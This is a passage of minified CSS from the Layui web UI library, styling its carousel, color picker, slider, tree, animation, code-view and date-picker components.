.layui-badge-dot{left:5px;top:-2px}.layui-carousel{position:relative;left:0;top:0;background-color:#f8f8f8}.layui-carousel>[carousel-item]{position:relative;width:100%;height:100%;overflow:hidden}.layui-carousel>[carousel-item]:before{position:absolute;content:'\\e63d';left:50%;top:50%;width:100px;line-height:20px;margin:-10px 0 0 -50px;text-align:center;color:#c2c2c2;font-family:layui-icon!important;font-size:30px;font-style:normal;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.layui-carousel>[carousel-item]>*{display:none;position:absolute;left:0;top:0;width:100%;height:100%;background-color:#f8f8f8;transition-duration:.3s;-webkit-transition-duration:.3s}.layui-carousel-updown>*{-webkit-transition:.3s ease-in-out up;transition:.3s ease-in-out up}.layui-carousel-arrow{display:none\\0;opacity:0;position:absolute;left:10px;top:50%;margin-top:-18px;width:36px;height:36px;line-height:36px;text-align:center;font-size:20px;border:none 0;border-radius:50%;background-color:rgba(0,0,0,.2);color:#fff;-webkit-transition-duration:.3s;transition-duration:.3s;cursor:pointer}.layui-carousel-arrow[lay-type=add]{left:auto!important;right:10px}.layui-carousel[lay-arrow=always] .layui-carousel-arrow{opacity:1;left:20px}.layui-carousel[lay-arrow=always] .layui-carousel-arrow[lay-type=add]{right:20px}.layui-carousel[lay-arrow=none] .layui-carousel-arrow{display:none}.layui-carousel-arrow:hover,.layui-carousel-ind ul:hover{background-color:rgba(0,0,0,.35)}.layui-carousel:hover .layui-carousel-arrow{display:block\\0;opacity:1;left:20px}.layui-carousel:hover .layui-carousel-arrow[lay-type=add]{right:20px}.layui-carousel-ind{position:relative;top:-35px;width:100%;line-height:0!important;text-align:center;font-size:0}.layui-carousel[lay-indicator=outside]{margin-bottom:30px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind{top:10px}.layui-carousel[lay-indicator=outside] .layui-carousel-ind ul{background-color:rgba(0,0,0,.5)}.layui-carousel[lay-indicator=none] .layui-carousel-ind{display:none}.layui-carousel-ind ul{display:inline-block;padding:5px;background-color:rgba(0,0,0,.2);border-radius:10px;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind ul li{display:inline-block;width:10px;height:10px;margin:0 3px;font-size:14px;background-color:#eee;background-color:rgba(255,255,255,.5);border-radius:50%;cursor:pointer;-webkit-transition-duration:.3s;transition-duration:.3s}.layui-carousel-ind ul li:hover{background-color:rgba(255,255,255,.7)}.layui-carousel-ind ul li.layui-this{background-color:#fff}.layui-carousel>[carousel-item]>.layui-carousel-next,.layui-carousel>[carousel-item]>.layui-carousel-prev,.layui-carousel>[carousel-item]>.layui-this{display:block}.layui-carousel>[carousel-item]>.layui-this{left:0}.layui-carousel>[carousel-item]>.layui-carousel-prev{left:-100%}.layui-carousel>[carousel-item]>.layui-carousel-next{left:100%}.layui-carousel>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel>[carousel-item]>.layui-carousel-prev.layui-carousel-right{left:0}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-left{left:-100%}.layui-carousel>[carousel-item]>.layui-this.layui-carousel-right{left:100%}.layui-carousel[lay-anim=updown] .layui-carousel-arrow{left:50%!important;top:20px;margin:0 0 0 -18px}.layui-carousel[lay-anim=updown] .layui-carousel-arrow[lay-type=add]{top:auto!important;bottom:20px}.layui-carousel[lay-anim=updown] .layui-carousel-ind{position:absolute;top:50%;right:20px;width:auto;height:auto}.layui-carousel[lay-anim=updown] .layui-carousel-ind ul{padding:3px 5px}.layui-carousel[lay-anim=updown] .layui-carousel-ind li{display:block;margin:6px 0}.layui-carousel[lay-anim=updown]>[carousel-item]>*{left:0!important}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next{top:100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{top:0}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-left{top:-100%}.layui-carousel[lay-anim=updown]>[carousel-item]>.layui-this.layui-carousel-right{top:100%}.layui-carousel[lay-anim=fade]>[carousel-item]>*{left:0!important}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev{opacity:0}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-next.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-carousel-prev.layui-carousel-right{opacity:1}.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-left,.layui-carousel[lay-anim=fade]>[carousel-item]>.layui-this.layui-carousel-right{opacity:0}.layui-fixbar{position:fixed;right:16px;bottom:16px;z-index:999999}.layui-fixbar li{width:50px;height:50px;line-height:50px;margin-bottom:1px;text-align:center;cursor:pointer;font-size:30px;background-color:#9f9f9f;color:#fff;border-radius:2px;opacity:.95}.layui-fixbar li:hover{opacity:.85}.layui-fixbar li:active{opacity:1}.layui-fixbar .layui-fixbar-top{display:none;font-size:40px}body .layui-util-face{border:none;background:0 0}body .layui-util-face .layui-layer-content{padding:0;background-color:#fff;color:#5f5f5f;box-shadow:none}.layui-util-face .layui-layer-TipsG{display:none}.layui-util-face ul{position:relative;width:372px;padding:10px;border:1px solid #d9d9d9;background-color:#fff;box-shadow:0 0 20px rgba(0,0,0,.2)}.layui-util-face ul li{cursor:pointer;float:left;border:1px solid #e8e8e8;height:22px;width:26px;overflow:hidden;margin:-1px 0 0 -1px;padding:4px 2px;text-align:center}.layui-util-face ul li:hover{position:relative;z-index:2;border:1px solid #eb7350;background:#fff9ec}.layui-code{position:relative;margin:10px 0;padding:15px;line-height:20px;border:1px solid #eee;border-left-width:6px;background-color:#fafafa;color:#333;font-family:Courier New,Lucida Console,Consolas;font-size:12px}.layui-transfer-box,.layui-transfer-header,.layui-transfer-search{border-width:0;border-style:solid;border-color:#eee}.layui-transfer-box{position:relative;display:inline-block;vertical-align:middle;border-width:1px;width:200px;height:360px;border-radius:2px;background-color:#fff}.layui-transfer-box .layui-form-checkbox{width:100%;margin:0!important}.layui-transfer-header{height:38px;line-height:38px;padding:0 11px;border-bottom-width:1px}.layui-transfer-search{position:relative;padding:11px;border-bottom-width:1px}.layui-transfer-search .layui-input{height:32px;padding-left:30px;font-size:12px}.layui-transfer-search .layui-icon-search{position:absolute;left:20px;top:50%;line-height:normal;margin-top:-8px;color:#5f5f5f}.layui-transfer-active{margin:0 15px;display:inline-block;vertical-align:middle}.layui-transfer-active .layui-btn{display:block;margin:0;padding:0 15px;background-color:#16b777;border-color:#16b777;color:#fff}.layui-transfer-active .layui-btn-disabled{background-color:#fbfbfb;border-color:#eee;color:#d2d2d2}.layui-transfer-active .layui-btn:first-child{margin-bottom:15px}.layui-transfer-active .layui-btn .layui-icon{margin:0;font-size:14px!important}.layui-transfer-data{padding:5px 0;overflow:auto}.layui-transfer-data li{height:32px;line-height:32px;margin-top:0!important;padding:0 11px;list-style-type:none!important}.layui-transfer-data li:hover{background-color:#f8f8f8;transition:.5s all}.layui-transfer-data .layui-none{padding:15px 11px;text-align:center;color:#999}.layui-rate,.layui-rate *{display:inline-block;vertical-align:middle}.layui-rate{padding:11px 6px 11px 0;font-size:0}.layui-rate li{margin-top:0!important}.layui-rate li i.layui-icon{font-size:20px;color:#ffb800}.layui-rate li i.layui-icon{margin-right:5px;transition:all .3s;-webkit-transition:all .3s}.layui-rate li i:hover{cursor:pointer;transform:scale(1.12);-webkit-transform:scale(1.12)}.layui-rate[readonly] li i:hover{cursor:default;transform:scale(1)}.layui-colorpicker{width:38px;height:38px;border:1px solid #eee;padding:5px;border-radius:2px;line-height:24px;display:inline-block;cursor:pointer;transition:all .3s;-webkit-transition:all .3s;box-sizing:border-box}.layui-colorpicker:hover{border-color:#d2d2d2}.layui-colorpicker.layui-colorpicker-lg{width:44px;height:44px;line-height:30px}.layui-colorpicker.layui-colorpicker-sm{width:30px;height:30px;line-height:20px;padding:3px}.layui-colorpicker.layui-colorpicker-xs{width:22px;height:22px;line-height:16px;padding:1px}.layui-colorpicker-trigger-bgcolor{display:block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==);border-radius:2px}.layui-colorpicker-trigger-span{display:block;height:100%;box-sizing:border-box;border:1px solid rgba(0,0,0,.15);border-radius:2px;text-align:center}.layui-colorpicker-trigger-i{display:inline-block;color:#fff;font-size:12px}.layui-colorpicker-trigger-i.layui-icon-close{color:#999}.layui-colorpicker-main{position:absolute;left:-999999px;top:-999999px;z-index:77777777;width:280px;margin:5px 0;padding:7px;background:#fff;border:1px solid #d2d2d2;border-radius:2px;box-shadow:0 2px 4px rgba(0,0,0,.12)}.layui-colorpicker-main-wrapper{height:180px;position:relative}.layui-colorpicker-basis{width:260px;height:100%;position:relative}.layui-colorpicker-basis-white{width:100%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(90deg,#fff,hsla(0,0%,100%,0))}.layui-colorpicker-basis-black{width:100%;height:100%;position:absolute;top:0;left:0;background:linear-gradient(0deg,#000,transparent)}.layui-colorpicker-basis-cursor{width:10px;height:10px;border:1px solid #fff;border-radius:50%;position:absolute;top:-3px;right:-3px;cursor:pointer}.layui-colorpicker-side{position:absolute;top:0;right:0;width:12px;height:100%;background:linear-gradient(red,#ff0,#0f0,#0ff,#00f,#f0f,red)}.layui-colorpicker-side-slider{width:100%;height:5px;box-shadow:0 0 1px #888;box-sizing:border-box;background:#fff;border-radius:1px;border:1px solid #f0f0f0;cursor:pointer;position:absolute;left:0}.layui-colorpicker-main-alpha{display:none;height:12px;margin-top:7px;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.layui-colorpicker-alpha-bgcolor{height:100%;position:relative}.layui-colorpicker-alpha-slider{width:5px;height:100%;box-shadow:0 0 1px #888;box-sizing:border-box;background:#fff;border-radius:1px;border:1px solid #f0f0f0;cursor:pointer;position:absolute;top:0}.layui-colorpicker-main-pre{padding-top:7px;font-size:0}.layui-colorpicker-pre{width:20px;height:20px;border-radius:2px;display:inline-block;margin-left:6px;margin-bottom:7px;cursor:pointer}.layui-colorpicker-pre:nth-child(11n+1){margin-left:0}.layui-colorpicker-pre-isalpha{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAwAAAAMCAIAAADZF8uwAAAAGUlEQVQYV2M4gwH+YwCGIasIUwhT25BVBADtzYNYrHvv4gAAAABJRU5ErkJggg==)}.layui-colorpicker-pre.layui-this{box-shadow:0 0 3px 2px rgba(0,0,0,.15)}.layui-colorpicker-pre>div{height:100%;border-radius:2px}.layui-colorpicker-main-input{text-align:right;padding-top:7px}.layui-colorpicker-main-input .layui-btn-container .layui-btn{margin:0 0 0 10px}.layui-colorpicker-main-input div.layui-inline{float:left;margin-right:10px;font-size:14px}.layui-colorpicker-main-input input.layui-input{width:150px;height:30px;color:#5f5f5f}.layui-slider{height:4px;background:#eee;border-radius:3px;position:relative;cursor:pointer}.layui-slider-bar{border-radius:3px;position:absolute;height:100%}.layui-slider-step{position:absolute;top:0;width:4px;height:4px;border-radius:50%;background:#fff;-webkit-transform:translateX(-50%);transform:translateX(-50%)}.layui-slider-wrap{width:36px;height:36px;position:absolute;top:-16px;-webkit-transform:translateX(-50%);transform:translateX(-50%);z-index:10;text-align:center}.layui-slider-wrap-btn{width:12px;height:12px;border-radius:50%;background:#fff;display:inline-block;vertical-align:middle;cursor:pointer;transition:.3s}.layui-slider-wrap:after{content:\"\";height:100%;display:inline-block;vertical-align:middle}.layui-slider-wrap-btn.layui-slider-hover,.layui-slider-wrap-btn:hover{transform:scale(1.2)}.layui-slider-wrap-btn.layui-disabled:hover{transform:scale(1)!important}.layui-slider-tips{position:absolute;top:-42px;z-index:77777777;white-space:nowrap;display:none;-webkit-transform:translateX(-50%);transform:translateX(-50%);color:#fff;background:#000;border-radius:3px;height:25px;line-height:25px;padding:0 10px}.layui-slider-tips:after{content:\"\";position:absolute;bottom:-12px;left:50%;margin-left:-6px;width:0;height:0;border-width:6px;border-style:solid;border-color:#000 transparent transparent transparent}.layui-slider-input{width:70px;height:32px;border:1px solid #eee;border-radius:3px;font-size:16px;line-height:32px;position:absolute;right:0;top:-14px}.layui-slider-input-btn{position:absolute;top:0;right:0;width:20px;height:100%;border-left:1px solid #eee}.layui-slider-input-btn i{cursor:pointer;position:absolute;right:0;bottom:0;width:20px;height:50%;font-size:12px;line-height:16px;text-align:center;color:#999}.layui-slider-input-btn i:first-child{top:0;border-bottom:1px solid #eee}.layui-slider-input-txt{height:100%;font-size:14px}.layui-slider-input-txt input{height:100%;border:none}.layui-slider-input-btn i:hover{color:#16baaa}.layui-slider-vertical{width:4px;margin-left:33px}.layui-slider-vertical .layui-slider-bar{width:4px}.layui-slider-vertical .layui-slider-step{top:auto;left:0;-webkit-transform:translateY(50%);transform:translateY(50%)}.layui-slider-vertical .layui-slider-wrap{top:auto;left:-16px;-webkit-transform:translateY(50%);transform:translateY(50%)}.layui-slider-vertical .layui-slider-tips{top:auto;left:2px}@media \\0screen{.layui-slider-wrap-btn{margin-left:-20px}.layui-slider-vertical .layui-slider-wrap-btn{margin-left:0;margin-bottom:-20px}.layui-slider-vertical .layui-slider-tips{margin-left:-8px}.layui-slider>span{margin-left:8px}}.layui-tree{line-height:22px}.layui-tree .layui-form-checkbox{margin:0!important}.layui-tree-set{width:100%;position:relative}.layui-tree-pack{display:none;padding-left:20px;position:relative}.layui-tree-line .layui-tree-pack{padding-left:27px}.layui-tree-line .layui-tree-set .layui-tree-set:after{content:\"\";position:absolute;top:14px;left:-9px;width:17px;height:0;border-top:1px dotted #c0c4cc}.layui-tree-entry{position:relative;padding:3px 0;height:20px;white-space:nowrap}.layui-tree-entry:hover{background-color:#eee}.layui-tree-line .layui-tree-entry:hover{background-color:rgba(0,0,0,0)}.layui-tree-line .layui-tree-entry:hover .layui-tree-txt{color:#999;text-decoration:underline;transition:.3s}.layui-tree-main{display:inline-block;vertical-align:middle;cursor:pointer;padding-right:10px}.layui-tree-line .layui-tree-set:before{content:\"\";position:absolute;top:0;left:-9px;width:0;height:100%;border-left:1px dotted #c0c4cc}.layui-tree-line .layui-tree-set.layui-tree-setLineShort:before{height:13px}.layui-tree-line .layui-tree-set.layui-tree-setHide:before{height:0}.layui-tree-iconClick{display:inline-block;vertical-align:middle;position:relative;height:20px;line-height:20px;margin:0 10px;color:#c0c4cc}.layui-tree-icon{height:12px;line-height:12px;width:12px;text-align:center;border:1px solid #c0c4cc}.layui-tree-iconClick .layui-icon{font-size:18px}.layui-tree-icon .layui-icon{font-size:12px;color:#5f5f5f}.layui-tree-iconArrow{padding:0 5px}.layui-tree-iconArrow:after{content:\"\";position:absolute;left:4px;top:3px;z-index:100;width:0;height:0;border-width:5px;border-style:solid;border-color:transparent transparent transparent #c0c4cc;transition:.5s}.layui-tree-spread>.layui-tree-entry .layui-tree-iconClick>.layui-tree-iconArrow:after{transform:rotate(90deg) translate(3px,4px)}.layui-tree-txt{display:inline-block;vertical-align:middle;color:#555}.layui-tree-search{margin-bottom:15px;color:#5f5f5f}.layui-tree-btnGroup{visibility:hidden;display:inline-block;vertical-align:middle;position:relative}.layui-tree-btnGroup .layui-icon{display:inline-block;vertical-align:middle;padding:0 2px;cursor:pointer}.layui-tree-btnGroup .layui-icon:hover{color:#999;transition:.3s}.layui-tree-entry:hover .layui-tree-btnGroup{visibility:visible}.layui-tree-editInput{position:relative;display:inline-block;vertical-align:middle;height:20px;line-height:20px;padding:0 3px;border:none;background-color:rgba(0,0,0,.05)}.layui-tree-emptyText{text-align:center;color:#999}.layui-anim{-webkit-animation-duration:.3s;-webkit-animation-fill-mode:both;animation-duration:.3s;animation-fill-mode:both}.layui-anim.layui-icon{display:inline-block}.layui-anim-loop{-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite}.layui-trans,.layui-trans a{transition:all .2s;-webkit-transition:all .2s}@-webkit-keyframes layui-rotate{from{-webkit-transform:rotate(0)}to{-webkit-transform:rotate(360deg)}}@keyframes layui-rotate{from{transform:rotate(0)}to{transform:rotate(360deg)}}.layui-anim-rotate{-webkit-animation-name:layui-rotate;animation-name:layui-rotate;-webkit-animation-duration:1s;animation-duration:1s;-webkit-animation-timing-function:linear;animation-timing-function:linear}@-webkit-keyframes layui-up{from{-webkit-transform:translate3d(0,100%,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-up{from{transform:translate3d(0,100%,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-up{-webkit-animation-name:layui-up;animation-name:layui-up}@-webkit-keyframes layui-upbit{from{-webkit-transform:translate3d(0,15px,0);opacity:.3}to{-webkit-transform:translate3d(0,0,0);opacity:1}}@keyframes layui-upbit{from{transform:translate3d(0,15px,0);opacity:.3}to{transform:translate3d(0,0,0);opacity:1}}.layui-anim-upbit{-webkit-animation-name:layui-upbit;animation-name:layui-upbit}@keyframes layui-down{0%{opacity:.3;transform:translate3d(0,-100%,0)}100%{opacity:1;transform:translate3d(0,0,0)}}.layui-anim-down{animation-name:layui-down}@keyframes layui-downbit{0%{opacity:.3;transform:translate3d(0,-5px,0)}100%{opacity:1;transform:translate3d(0,0,0)}}.layui-anim-downbit{animation-name:layui-downbit}@-webkit-keyframes layui-scale{0%{opacity:.3;-webkit-transform:scale(.5)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale{0%{opacity:.3;-ms-transform:scale(.5);transform:scale(.5)}100%{opacity:1;-ms-transform:scale(1);transform:scale(1)}}.layui-anim-scale{-webkit-animation-name:layui-scale;animation-name:layui-scale}@-webkit-keyframes layui-scale-spring{0%{opacity:.5;-webkit-transform:scale(.5)}80%{opacity:.8;-webkit-transform:scale(1.1)}100%{opacity:1;-webkit-transform:scale(1)}}@keyframes layui-scale-spring{0%{opacity:.5;transform:scale(.5)}80%{opacity:.8;transform:scale(1.1)}100%{opacity:1;transform:scale(1)}}.layui-anim-scaleSpring{-webkit-animation-name:layui-scale-spring;animation-name:layui-scale-spring}@keyframes layui-scalesmall{0%{opacity:.3;transform:scale(1.5)}100%{opacity:1;transform:scale(1)}}.layui-anim-scalesmall{animation-name:layui-scalesmall}@keyframes layui-scalesmall-spring{0%{opacity:.3;transform:scale(1.5)}80%{opacity:.8;transform:scale(.9)}100%{opacity:1;transform:scale(1)}}.layui-anim-scalesmall-spring{animation-name:layui-scalesmall-spring}@-webkit-keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}@keyframes layui-fadein{0%{opacity:0}100%{opacity:1}}.layui-anim-fadein{-webkit-animation-name:layui-fadein;animation-name:layui-fadein}@-webkit-keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}@keyframes layui-fadeout{0%{opacity:1}100%{opacity:0}}.layui-anim-fadeout{-webkit-animation-name:layui-fadeout;animation-name:layui-fadeout}html #layuicss-skincodecss{display:none;position:absolute;width:1989px}.layui-code-view{display:block;position:relative;margin:11px 0;padding:0;border:1px solid #eee;border-left-width:6px;background-color:#fafafa;color:#333;font-family:Courier New;font-size:13px}.layui-code-title{position:relative;padding:0 10px;height:40px;line-height:40px;border-bottom:1px solid #eee;font-size:12px}.layui-code-title>.layui-code-about{position:absolute;right:10px;top:0;color:#b7b7b7}.layui-code-about>a{padding-left:10px}.layui-code-view>.layui-code-ol,.layui-code-view>.layui-code-ul{max-height:100%;padding:0!important;position:relative;overflow:auto}.layui-code-view>.layui-code-ol>li{position:relative;margin-top:0!important;margin-left:45px!important;line-height:20px;padding:0 10px!important;border-left:1px solid #e2e2e2;list-style-type:decimal-leading-zero;*list-style-type:decimal;background-color:#fff}.layui-code-view>.layui-code-ol>li:first-child,.layui-code-view>.layui-code-ul>li:first-child{padding-top:10px!important}.layui-code-view>.layui-code-ol>li:last-child,.layui-code-view>.layui-code-ul>li:last-child{padding-bottom:10px!important}.layui-code-view>.layui-code-ul>li{position:relative;line-height:20px;padding:0 10px!important;list-style-type:none;*list-style-type:none;background-color:#fff}.layui-code-view pre{margin:0}.layui-code-dark{border:1px solid #0c0c0c;border-left-color:#3f3f3f;background-color:#0c0c0c;color:#c2be9e}.layui-code-dark>.layui-code-title{border-bottom:none}.layui-code-dark>.layui-code-ol>li,.layui-code-dark>.layui-code-ul>li{background-color:#3f3f3f;border-left:none}.layui-code-dark>.layui-code-ul>li{margin-left:6px}.layui-code textarea{display:none}.layui-code-preview>.layui-code{margin:0}.layui-code-preview>.layui-tab{position:relative;z-index:1;margin-bottom:0}.layui-code-preview>.layui-tab>.layui-tab-title{border-bottom:none}.layui-code-preview>.layui-code>.layui-code-title{display:none}.layui-code-preview .layui-code-item{display:none}.layui-code-item-preview{position:relative;padding:16px}.layui-code-item-preview>iframe{position:absolute;top:0;left:0;width:100%;height:100%;border:none}.layui-code-tools{position:absolute;right:11px;top:3px}.layui-code-tools>i{display:inline-block;margin-left:6px;padding:3px;cursor:pointer}.layui-code-full{position:fixed;left:0;top:0;z-index:1111111;width:100%;height:100%;background-color:#fff}.layui-code-full .layui-code-item{width:100%!important;border-width:0!important;border-top-width:1px!important}.layui-code-full .layui-code-item,.layui-code-full .layui-code-ol,.layui-code-full .layui-code-ul{height:calc(100vh - 51px)!important;box-sizing:border-box}html #layuicss-laydate{display:none;position:absolute;width:1989px}.layui-laydate *{margin:0;padding:0}.layui-laydate,.layui-laydate *{box-sizing:border-box}.layui-laydate{position:absolute;z-index:99999999;margin:5px 0;border-radius:2px;font-size:14px;line-height:normal;-webkit-animation-duration:.2s;animation-duration:.2s;-webkit-animation-fill-mode:both;animation-fill-mode:both}.layui-laydate-main{width:272px}.layui-laydate-content td,.layui-laydate-header *,.layui-laydate-list li{transition-duration:.3s;-webkit-transition-duration:.3s}.layui-laydate-shade{top:0;left:0;width:100%;height:100%;_height:expression(document.body.offsetHeight+\"px\");position:fixed;_position:absolute;pointer-events:auto}@keyframes laydate-downbit{0%{opacity:.3;transform:translate3d(0,-5px,0)}100%{opacity:1;transform:translate3d(0,0,0)}}.layui-laydate{animation-name:laydate-downbit}.layui-laydate-static{position:relative;z-index:0;display:inline-block;margin:0;-webkit-animation:none;animation:none}.laydate-ym-show .laydate-next-m,.laydate-ym-show .laydate-prev-m{display:none!important}.laydate-ym-show .laydate-next-y,.laydate-ym-show .laydate-prev-y{display:inline-block!important}.laydate-ym-show .laydate-set-ym span[lay-type=month]{display:none!important}.laydate-time-show .laydate-set-ym span[lay-type=month],.laydate-time-show .laydate-set-ym span[lay-type=year],.laydate-time-show .layui-laydate-header .layui-icon{display:none!important}.layui-laydate-header{position:relative;line-height:30px;padding:10px 70px 5px}.layui-laydate-header *{display:inline-block;vertical-align:bottom}.layui-laydate-header i{position:absolute;top:10px;padding:0 5px;color:#999;font-size:18px;cursor:pointer}.layui-laydate-header i.laydate-prev-y{left:15px}.layui-laydate-header i.laydate-prev-m{left:45px}.layui-laydate-header i.laydate-next-y{right:15px}.layui-laydate-header i.laydate-next-m{right:45px}.laydate-set-ym{width:100%;text-align:center;box-sizing:border-box;text-overflow:ellipsis;overflow:hidden;white-space:nowrap}.laydate-set-ym span{padding:0 10px;cursor:pointer}.laydate-time-text{cursor:default!important}.layui-laydate-content{position:relative;padding:10px;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-laydate-content table{border-collapse:collapse;border-spacing:0}.layui-laydate-content td,.layui-laydate-content th{width:36px;height:30px;padding:0;text-align:center}.layui-laydate-content th{font-weight:400}.layui-laydate-content td{position:relative;cursor:pointer}.laydate-day-mark{position:absolute;left:0;top:0;width:100%;line-height:30px;font-size:12px;overflow:hidden}.laydate-day-mark::after{position:absolute;content:'';right:2px;top:2px;width:5px;height:5px;border-radius:50%}.laydate-day-holidays:before{position:absolute;left:0;top:0;font-size:12px;transform:scale(.7)}.laydate-day-holidays:before{content:'\\4F11';color:#ff5722}.laydate-day-holidays[type=work]:before{content:'\\73ED';color:inherit}.layui-laydate .layui-this .laydate-day-holidays:before{color:#fff}.layui-laydate-footer{position:relative;height:46px;line-height:26px;padding:10px}.layui-laydate-footer span{display:inline-block;vertical-align:top;height:26px;line-height:24px;padding:0 10px;border:1px solid #c9c9c9;border-radius:2px;background-color:#fff;font-size:12px;cursor:pointer;white-space:nowrap;transition:all .3s}.layui-laydate-footer span:hover{color:#16b777}.layui-laydate-footer span.layui-laydate-preview{cursor:default;border-color:transparent!important}.layui-laydate-footer span.layui-laydate-preview:hover{color:#777}.layui-laydate-footer span:first-child.layui-laydate-preview{padding-left:0}.laydate-footer-btns{position:absolute;right:10px;top:10px}.laydate-footer-btns span{margin:0 0 0 -1px;border-radius:0}.laydate-footer-btns span:first-child{border-radius:2px 0 0 2px}.laydate-footer-btns span:last-child{border-radius:0 2px 2px 0}.layui-laydate-shortcut{width:80px;padding:6px 0;display:inline-block;vertical-align:top;overflow:auto;max-height:276px;text-align:center}.layui-laydate-shortcut+.layui-laydate-main{display:inline-block;border-left:1px solid #e2e2e2}.layui-laydate-shortcut>li{padding:5px 8px;cursor:pointer;line-height:18px}.layui-laydate .layui-laydate-list{position:absolute;left:0;top:0;width:100%;height:100%;padding:10px;box-sizing:border-box;background-color:#fff}.layui-laydate .layui-laydate-list>li{position:relative;display:inline-block;width:33.3%;height:36px;line-height:36px;margin:3px 0;vertical-align:middle;text-align:center;cursor:pointer;list-style:none}.layui-laydate .laydate-month-list>li{width:25%;margin:17px 0}.layui-laydate .laydate-time-list>li{height:100%;margin:0;line-height:normal;cursor:default}.layui-laydate .laydate-time-list p{position:relative;top:-4px;margin:0;line-height:29px}.layui-laydate .laydate-time-list ol{height:181px;overflow:hidden}.layui-laydate .laydate-time-list>li:hover ol{overflow-y:auto}.layui-laydate .laydate-time-list ol li{width:130%;padding-left:33px;height:30px;line-height:30px;text-align:left;cursor:pointer}.layui-laydate-hint{position:absolute;top:115px;left:50%;width:250px;margin-left:-125px;line-height:20px;padding:15px;text-align:center;font-size:12px;color:#ff5722}.layui-laydate-range{width:546px}.layui-laydate-range .layui-laydate-main{display:inline-block;vertical-align:middle;max-width:50%}.layui-laydate-range .laydate-main-list-1 .layui-laydate-content,.layui-laydate-range .laydate-main-list-1 .layui-laydate-header{border-left:1px solid #e2e2e2}.layui-laydate-range.layui-laydate-linkage .laydate-main-list-0 .laydate-next-m,.layui-laydate-range.layui-laydate-linkage .laydate-main-list-0 .laydate-next-y,.layui-laydate-range.layui-laydate-linkage .laydate-main-list-1 .laydate-prev-m,.layui-laydate-range.layui-laydate-linkage .laydate-main-list-1 .laydate-prev-y{display:none}.layui-laydate,.layui-laydate-hint{border:1px solid #d2d2d2;box-shadow:0 2px 4px rgba(0,0,0,.12);background-color:#fff;color:#777}.layui-laydate-header{border-bottom:1px solid #e2e2e2}.layui-laydate-header i:hover,.layui-laydate-header span:hover{color:#16b777}.layui-laydate-content{border-top:none 0;border-bottom:none 0}.layui-laydate-content th{color:#333}.layui-laydate-content td{color:#777}.layui-laydate-content td.laydate-day-now{color:#16b777}.layui-laydate-content td.laydate-day-now:after{content:'';position:absolute;width:100%;height:30px;left:0;top:0;border:1px solid #16b777;box-sizing:border-box}.layui-laydate-linkage .layui-laydate-content td.laydate-selected>div{background-color:#00f7de}.layui-laydate-linkage .laydate-selected:hover>div{background-color:#00f7de!important}.layui-laydate-content td.laydate-selected:after,.layui-laydate-content td:hover:after{content:none}.layui-laydate-content td>div:hover,.layui-laydate-list li:hover,.layui-laydate-shortcut>li:hover{background-color:#eee;color:#333}.laydate-time-list li ol{margin:0;padding:0;border:1px solid #e2e2e2;border-left-width:0}.laydate-time-list li:first-child ol{border-left-width:1px}.laydate-time-list>li:hover{background:0 0}.layui-laydate-content .laydate-day-next,.layui-laydate-content .laydate-day-prev{color:#d2d2d2}.layui-laydate-linkage .laydate-selected.laydate-day-next>div,.layui-laydate-linkage .laydate-selected.laydate-day-prev>div{background-color:#f8f8f8!important}.layui-laydate-footer{border-top:1px solid #e2e2e2}.layui-laydate-hint{color:#ff5722}.laydate-day-mark::after{background-color:#16b777}.layui-laydate-content td.layui-this .laydate-day-mark::after{display:none}.layui-laydate-footer span[lay-type=date]{color:#16b777}.layui-laydate .layui-this,.layui-laydate .layui-this>div{background-color:#16baaa!important;color:#fff!important}.layui-laydate .laydate-disabled,.layui-laydate .laydate-disabled:hover{background:0 0!important;color:#d2d2d2!important;cursor:not-allowed!important;-moz-user-select:none;-webkit-user-select:none;-ms-user-select:none}.layui-laydate-content td>div{padding:7px 0;height:100%}.laydate-theme-molv{border:none}.laydate-theme-molv.layui-laydate-range{width:548px}.laydate-theme-molv .layui-laydate-main{width:274px}.laydate-theme-molv .layui-laydate-header{border:none;background-color:#16baaa}.laydate-theme-molv .layui-laydate-header i,.laydate-theme-molv .layui-laydate-header span{color:#f6f6f6}.laydate-theme-molv .layui-laydate-header i:hover,.laydate-theme-molv .layui-laydate-header span:hover{color:#fff}.laydate-theme-molv .layui-laydate-content{border:1px solid #e2e2e2;border-top:none;border-bottom:none}.laydate-theme-molv .laydate-main-list-1 .layui-laydate-content{border-left:none}.laydate-theme-molv .layui-laydate-footer{border:1px solid #e2e2e2}.laydate-theme-grid .laydate-month-list>li,.laydate-theme-grid .laydate-year-list>li,.laydate-theme-grid .layui-laydate-content 